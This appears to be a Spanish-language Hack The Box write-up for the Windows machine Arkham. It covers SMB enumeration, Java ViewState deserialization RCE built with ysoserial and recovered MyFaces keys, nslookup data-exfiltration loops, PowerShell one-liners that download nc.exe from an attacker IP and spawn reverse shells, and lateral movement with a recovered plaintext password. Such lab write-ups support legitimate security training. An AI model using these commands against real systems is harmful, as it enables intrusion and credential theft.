Arkham de HackTheBox con SO Windows, Encontramos un backup en SMB encriptado con binwalk obtuvimos archivos, uno de ellos es la configuracion de la “applicacion”, mediante este ultimo explotamos una vulnerabilidad de deserializacion en java utilizando el codigo de Apache MyFaces junto con ysoserial, lo que nos dio acceso a la maquina. Para el movimiento lateral utilizamos powershell con credenciales de borradores de correo electronico dentro de un backup. Finalmente cambiando de recurso compartido localmente logramos acceder a la carpeta del administrador.
Nombre |
Arkham |
OS |
Windows |
Puntos |
30 |
Dificultad |
Media |
IP |
10.10.10.130 |
Maker |
MinatoTW |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[7.8, 8.1, 6, 4, 1.9],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[6, 10, 5, 5, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
Recon
Masscan & nmap
Escaneo de puertos tcp/udp.
1
2
3
4
5
6
7
8
9
10
11
12
|
root@sckull:~/htb/arkham# masscan -p1-65535,U:1-65535 10.10.10.130 --rate=1000 -e tun0
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-03-25 19:10:12 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [131070 ports/host]
Discovered open port 49666/tcp on 10.10.10.130
Discovered open port 139/tcp on 10.10.10.130
Discovered open port 445/tcp on 10.10.10.130
Discovered open port 135/tcp on 10.10.10.130
Discovered open port 8080/tcp on 10.10.10.130
Discovered open port 49667/tcp on 10.10.10.130
|
Escaneo de servicios en puertos anteriormente encontrados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
root@sckull:~/htb/arkham# nmap -sV -p 135,139,445,8080,49666,49667 10.10.10.130
Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-25 19:13 GMT
Nmap scan report for 10.10.10.130
Host is up (0.36s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
8080/tcp open http Apache Tomcat 8.5.37
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 68.49 seconds
|
SMB
Buscamos los sharenames a los que tengamos acceso.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
root@sckull:~/htb/arkham# smbclient -L 10.10.10.130
Enter WORKGROUP\root's password:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
BatShare Disk Master Wayne's secrets
C$ Disk Default share
IPC$ IPC Remote IPC
Users Disk
Reconnecting with SMB1 for workgroup listing.
Connection to 10.10.10.130 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Failed to connect with SMB1 -- no workgroup available
|
SMB - BatShare
Nos conectamos al sharename.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
root@sckull:~/htb/arkham# smbclient \\\\10.10.10.130\\BatShare
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \>
smb: \> ls
. D 0 Sun Feb 3 13:00:10 2019
.. D 0 Sun Feb 3 13:00:10 2019
appserver.zip A 4046695 Fri Feb 1 06:13:37 2019
5158399 blocks of size 4096. 2123866 blocks available
smb: \> mget *
Get file appserver.zip? y
getting file \appserver.zip of size 4046695 as appserver.zip (265.1 KiloBytes/sec) (average 265.1 KiloBytes/sec)
smb: \>
|
1
2
3
4
5
6
|
root@sckull:~/htb/arkham# unzip appserver.zip
Archive: appserver.zip
inflating: IMPORTANT.txt
inflating: backup.img
root@sckull:~/htb/arkham# ls
appserver.zip backup.img IMPORTANT.txt tmp
|
Encontramos un archivo llamado appserver.zip
al descomprimir dicho archivo nos muestra dos archivos backup.img
e IMPORTANT.txt
.
IMPORTANT.txt
1
|
Alfred, this is the backup image from our linux server. Please see that The Joker or anyone else doesn't have unauthenticated access to it. - Bruce
|
file backup.img
1
|
backup.img: LUKS encrypted file, ver 1 [aes, xts-plain64, sha256] UUID: d931ebb1-5edc-4453-8ab1-3d23bb85b38e
|
BINWALK - backup.img
Utilizamos binwalk para ver el contenido del archivo backup.img.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
|
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
0 0x0 LUKS_MAGIC version 0x1 aes sha256
519168 0x7EC00 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=9c1e27b2-f91d-47d2-a167-49fd79957995
544768 0x85000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=9c1e27b2-f91d-47d2-a167-49fd79957995
551936 0x86C00 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=9c1e27b2-f91d-47d2-a167-49fd79957995
8388608 0x800000 Linux EXT filesystem, rev 1.0, ext4 filesystem data, UUID=9c1e27b2-f91d-47d2-a167-49fd79957995
8542755 0x825A23 Zip archive data, at least v1.0 to extract, name: Mask/tomcat-stuff/
8542831 0x825A6F Zip archive data, at least v2.0 to extract, compressed size: 1006, uncompressed size: 2208, name: Mask/tomcat-stuff/tomcat-users.xml
8543929 0x825EB9 Zip archive data, at least v2.0 to extract, compressed size: 1151, uncompressed size: 3498, name: Mask/tomcat-stuff/web.xml.bak
8545167 0x82638F Zip archive data, at least v2.0 to extract, compressed size: 709, uncompressed size: 1368, name: Mask/tomcat-stuff/context.xml
8545963 0x8266AB Zip archive data, at least v2.0 to extract, compressed size: 621, uncompressed size: 1172, name: Mask/tomcat-stuff/jaspic-providers.xml
8546680 0x826978 Zip archive data, at least v2.0 to extract, compressed size: 367, uncompressed size: 832, name: Mask/tomcat-stuff/faces-config.xml
8547139 0x826B43 Zip archive data, at least v2.0 to extract, compressed size: 2599, uncompressed size: 7678, name: Mask/tomcat-stuff/server.xml
8549824 0x8275C0 Zip archive data, at least v2.0 to extract, compressed size: 18347, uncompressed size: 174021, name: Mask/tomcat-stuff/web.xml
8568254 0x82BDBE Zip archive data, at least v1.0 to extract, compressed size: 39, uncompressed size: 39, name: Mask/tomcat-stuff/MANIFEST.MF
8568380 0x82BE3C Zip archive data, at least v2.0 to extract, compressed size: 7353, uncompressed size: 7586, name: Mask/robin.jpeg
8575806 0x82DB3E Zip archive data, at least v2.0 to extract, compressed size: 105045, uncompressed size: 105374, name: Mask/me.jpg
8680920 0x8475D8 Zip archive data, at least v2.0 to extract, compressed size: 687109, uncompressed size: 687160, name: Mask/mycar.jpg
9466405 0x907225 End of Zip archive, footer length: 22
[ .. ]
9638621 0x9312DD Copyright string: "copyright/ordfeminine/guillemotleft/logicalnot/hyphen/registered/macron/degree/plusminus/twosuperior/threesuperior/acute/mu/para"
9962496 0x980400 PDF document, version: "1.4"
[ ... ]
9978880 0x984400 XML document, version: "1.0"
9979118 0x9844EE Copyright string: "copyright ownership."
9981952 0x985000 XML document, version: "1.0"
9986048 0x986000 XML document, version: "1.0"
9986286 0x9860EE Copyright string: "copyright ownership."
9988096 0x986800 XML document, version: "1.0"
9988334 0x9868EE Copyright string: "copyright ownership."
9990144 0x987000 XML document, version: "1.0"
9991168 0x987400 XML document, version: "1.0"
9991406 0x9874EE Copyright string: "copyright ownership."
9999360 0x989400 XML document, version: "1.0"
9999598 0x9894EE Copyright string: "copyright ownership."
10016768 0x98D800 JPEG image data, JFIF standard 1.01
10024960 0x98F800 JPEG image data, JFIF standard 1.01
10041344 0x993800 JPEG image data, EXIF standard
10041356 0x99380C TIFF image data, little-endian offset of first image directory: 8
10057728 0x997800 JPEG image data, JFIF standard 1.01
|
Dentro del archivo encontramos varios documentos que se refieren a archivos tomcat, imagenes, y archivos xml, descomprimimos los archivos con binwalk.
Encontramos varios archivos y carpetas, dentro de la carpeta Mask encontramos imagenes y una subcarpeta tomcat-stuff
, utilizamos binwalk con las imagenes para verificar que no tengan archivos ocultos dentro.
Ninguna de las imagenes contiene archivos que puedan servirnos, dentro de la carpeta tomcat-stuff
encontramos archivos de configuracion.
Dentro de los archivos de configuracion encontramos un backup de uno de ellos web.xml.bak
, en su interior vemos la configuracion que tiene la pagina, algunos parametros de la configuracion contienen datos que sirven para encriptar los datos que se reciben y se envian por medio de la pagina web y podemos notar que esta corriendo en apache myfaces.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
<servlet-mapping>
<servlet-name>Faces Servlet</servlet-name>
<url-pattern>*.faces</url-pattern>
</servlet-mapping>
<context-param>
<description>State saving method: 'client' or 'server' (=default). See JSF Specification 2.5.2</description>
<param-name>javax.faces.STATE_SAVING_METHOD</param-name>
<param-value>server</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
<param-value>HmacSHA1</param-value>
</context-param>
<context-param>
<param-name>org.apache.myfaces.MAC_SECRE<T/param-name>
<param-value>SnNGOTg3Ni0=</param-value>
</context-param>
|
Website Puerto 8080
Puerto 8080 en http.
Gobuster
Considerando que la pagina esta corrriendo en un apache myfaces (web.xml.bak
), vamos a utilizar gobuster para buscar directorios y documentos.
Encontramos directorios y documentos pertenecientes a la pagina, al visitar cada una de las opciones de la pagina nos encontramos una para una subscripcion de correo electronico /userSubscribe.faces
la cual no aparecio con gobuster.
/userSubscribe.faces
Al registrar un correo nos redirige a otra pagina /thankyou.faces
con un mensaje de registro.
ViewState - Arkham
Al revisar el codigo fuente de userSubscribe.faces
encontramos algunos valores pertenecen a javax.faces.ViewState
.
ViewState
JSF utiliza viewStates para almacenar los datos de la vista, pueden ser ‘almacenados’ en el servidor o el cliente, dichos valores de viewstate estan dentro del html de una pagina como un campo oculto con el nombre de javax.faces.ViewState
, como es el caso de la pagina que encontramos.
Java Deserialization
Deserializacion y Serializacion es el proceso por el cual se convierte un objeto a bytes y viceversa, para leerlo e interpretarlo por el servidor. Al investigar acerca de dichos valores encontramos que, existe una vulnerabilidad de deserializacion en java, dichos valores del viewstate estan codificados en base64 en algunos casos no estan encriptados por lo que puede ser leido el contenido.
Al intentar decodificar en base64 nos muestran algunos caracteres, por lo que podemos afirmar que el objeto esta encriptado.
JSF ViewState RCE
INFO: JSF ViewStates RCE - Vulnerability
Encontramos un post el cual habla de una vulnerabilidad RCE de ViewState en las implementaciones de JSF como Oracle Mojarra (JSF reference implementation
), Apache MyFaces
. Existen dos ’tipos’ de ViewState, el que se almacena en el servidor y el cliente, ambos son objetos serializados, para que dicha vulnerabilidad sea aprovechada para la ejecucion de comandos deben de cumplirse algunas condiciones, el viewstate no debe de estar encriptado, en el caso de Mojarra el viewstate debe de estar configurado en el cliente, en MyFaces puede estar configurado en el cliente o servidor.
En el caso de MyFaces encriptar el ViewState
esta por defecto activado, puede ser desactivado para hacer tests configurando el parametro de org.apache.myfaces.USE_ENCRYPTION = false
y tambien puede utilizar una contraseña para la encriptacion. Tambien nos dice que por defecto Myfaces utiliza DES
como algoritmo de encriptacion y HMAC-SHA1
para autenticar el ViewState. Por defecto el almacenamiento del ViewState esta configurado por el lado del servidor javax.faces.STATE_SAVING_METHOD = server
.
INFO: Secure Your Application
Algunos post sobre JAVA Deseralization:
Java Serialization
Java Serialization with burp and ysoserial
Deserialization Vulnerability - $1500
Ahora que sabemos todo esto, podemos volver a nuestro archivo web.xml.bak
el cual contiene algunos parametros que pueden ser de utilidad para aprovechar el RCE del ViewState y ejecutar comandos dentro de la maquina.
1
2
|
<param-name>javax.faces.STATE_SAVING_METHOD</param-name>
<param-value>server</param-value>
|
Tambien tiene una contraseña que es utilizada para encriptar el viewstate.
1
2
|
<param-name>org.apache.myfaces.SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
|
El algoritmo de autenticacion.
1
2
|
<param-name>org.apache.myfaces.MAC_ALGORITHM</param-name>
<param-value>HmacSHA1</param-value>
|
Mensaje de autenticacion para el algoritmo.
1
2
|
<param-name>org.apache.myfaces.MAC_SECRET</param-name>
<param-value>SnNGOTg3Ni0=</param-value>
|
StateUtils.java
Existen algunas herramientas para explotacion de deserializacion en java como jexboss y ysoserial, tambien existe una version modificada de ysoserial-modified. Al intentar utilizar estas herramientas contra la maquina no funcionan, por el tipo de encriptacion en la configuracion del archivo (web.xml.bak
), estas herramientas aprovechan el viewstatate cuando no estan encriptadas.
Para arkham vamos a utilizar ysoserial-modified para generar un payload y encriptarlo por medio de la clase de apache myfaces, StateUtils.java, esta clase StateUtils.java contiene metodos que pueden construir y reconstruir un valor de viewstate.
Configuracion de los campos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
private static final Logger log = Logger.getLogger(StateUtils.class.getName());
//Cambio por HmacSHA1
public static final String macAlgorithm = "HmacSHA1";
//Cambio por MAC_SECRET -> SnNGOTg3Ni0=
//public static final String INIT_MAC_SECRET = "MAC_SECRET";
//public static final String INIT_MAC_SECRET_KEY_CACHE = "org.apache.myfaces.MAC_SECRET.CACHE";
//configuracion Local encrypt/decrypt
private static final String encodedKey ="SnNGOTg3Ni0=";
private static final byte[] decodedKey = decode(encodedKey.getBytes());
private static final SecretKey secretKey = new SecretKeySpec(decodedKey,"DES");
//configuracion Local encrypt/decrypt
private static final String macSecretStr = "SnNGOTg3Ni0=";
private static final byte[] macSecretBytes = decode(macSecretStr.getBytes());
private static final SecretKey macSecretKey = new SecretKeySpec(macSecretBytes, macAlgorithm);
private static final String ZIP_CHARSET = "ISO-8859-1";
// String DEFAULT_ALGORITHM = "DES";
private static final String algorithm = "DES";
// String DEFAULT_ALGORITHM_PARAMS = "ECB/PKCS5Padding";
private static final String algorithmParams = "ECB/PKCS5Padding";
private static final byte[] iv = null;
|
Metodos, se eliminan todos los valores ExternalContext, ServletContext:
1
2
3
4
5
6
7
8
|
construct(Object object)
reconstruct(String string)
encrypt(byte[] insecure)
encode(byte[] bytes)
decrypt(byte[] secure)
decode(byte[] bytes)
getAsObject(byte[] bytes)
getAsByteArray(Object object)
|
Creamos un metodo para enviar nuestro payload:
1
|
sendPayload(String viewstatePayload)
|
Para la ejecucion de comandos utilizamos ysoserial-modified.jar para generar un payload:
1
|
CommonsCollections1, CommonsCollections2, CommonsCollections3, CommonsCollections4, CommonsCollections5, CommonsCollections6
|
Funciona tambien con la version ysoserial.jar, pero se tienen comandos ’limitados’, la version modificada es una mejor version que nos permite ejecutar comandos cmd/powershell/sh.
Ya que desconocemos del payload que funciona, utilizamos los descritos anteriormente, vamos a hacer un request DNS a nuestra maquina con cada payload (ej: nslookup CommonsCollections1 10.10.1X.1X
) y el payload que funcione nos aparecerá en nuestra terminal (Utilizamos responder).
Aqui se encuentra el codigo:
De igual forma realice un script en python para el mismo fin, utilizando la libreria pydes.
RCE - Request DNS
Obtenemos un request DNS y vemos que los payloads que funcionan en arkham son CommonsCollections5, CommonsCollections6
, por lo que podemos utilizar cualquiera de ellos para ejecutar comandos en la maquina.
De igual forma utilizando nslookup podemos saber que usuario somos y que usuarios existen en la maquina, utilizando los siguientes comandos.
whoami
1
|
//10.10.13.129 & for /f %i in ('whoami') do nslookup %i 10.10.13.129
|
dir C:\Users
1
|
//10.10.13.129 & for /f "tokens=1,2,3" %a in ('dir /B "C:\Users"') do nslookup %a.%b.%c 10.10.13.129
|
Shell - Alfred
Para obtener una shell inversa vamos a utilizar powershell para descargar netcat (nc.exe
) y ejecutar una shell inversa.
Comando: Cambiamos el primer parametro de cmand a “powershell”.
1
|
wget http://10.10.13.129/nc.exe -o C:\Users\Public\nc.exe; C:\Users\Public\nc.exe -e C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 10.10.13.129 443
|
Obtenemos una shell inversa como Alfred y nuestra bandera User.txt
.
Usuarios - Arkham
Podemos ver que existen otros dos usuarios Batman y Administrator.
Vemos que Batman pertenece al grupo de Administrators.
User - Batman
En el directorio C:\Users\alfred\Downloads\backups
encontramos un archivo backup.zip
, lo trasladamos a nuestra maquina con netcat.
Al descomprimirlo nos muestra un archivo .ost
de Microsoft Outlook, utilizamos readpst para leer el archivo de correos el cual nos extrajo los borradores (Drafts.mbox
).
Para lectura de Drafts.mbox
utilizamos mutt
.
Encontramos una imagen de cmd con un comando que contiene un usuario y contraseña:
1
|
net use G: \\10.10.10.10\gotham /user:batman Zx^#QZX+T!123
|
Utilizamos powershell para cambiar al usuario(sesion) Batman con el siguiente comando:
1
2
3
4
|
$username ="ARKHAM\batman";
$password = convertto-securestring -AsPlainText -Force -String "Zx^#QZX+T!123";
$cred = New-Object System.Management.Automation.PSCredential -ArgumentList $username,$password;
New-PSSession -Credential $cred | Enter-PSSession
|
Exitosamente pudimos cambiar al usuario Batman pero no podemos listar los directorios y archivos.
Shell - Batman
Para obtener una shell inversa con el usuario Batman vamos a utilizar Invoke-Command
para descargar netcat (nc.exe
) en el directorio de Batman y ejecutar una shell inversa, el siguiente comando se ejecuta con el usuario alfred.
1
2
3
4
5
|
$username = 'ARKHAM\batman';
$password = 'Zx^#QZX+T!123';
$securePassword = ConvertTo-SecureString $password -AsPlainText -Force;
$credential = New-Object System.Management.Automation.PSCredential $username, $securePassword;
Invoke-Command -Credential $credential -ComputerName ARKHAM -Command {powershell wget http://10.10.15.2:8081/nc.exe -o C:\Users\Batman\Documents\nc.exe; powershell C:\Users\Batman\Documents\nc.exe -e C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 10.10.15.2 445}
|
Obtenemos una shell y podemos ejecutar comandos, pero no podemos acceder a la carpeta de Administrator.
Root
Por alguna razon el siguiente comando funciona para acceder a la carpeta de Administrator, y obtenemos nuestra bandera root.txt
.
1
|
cd \\10.10.10.130\C$\Users\Administrator\
|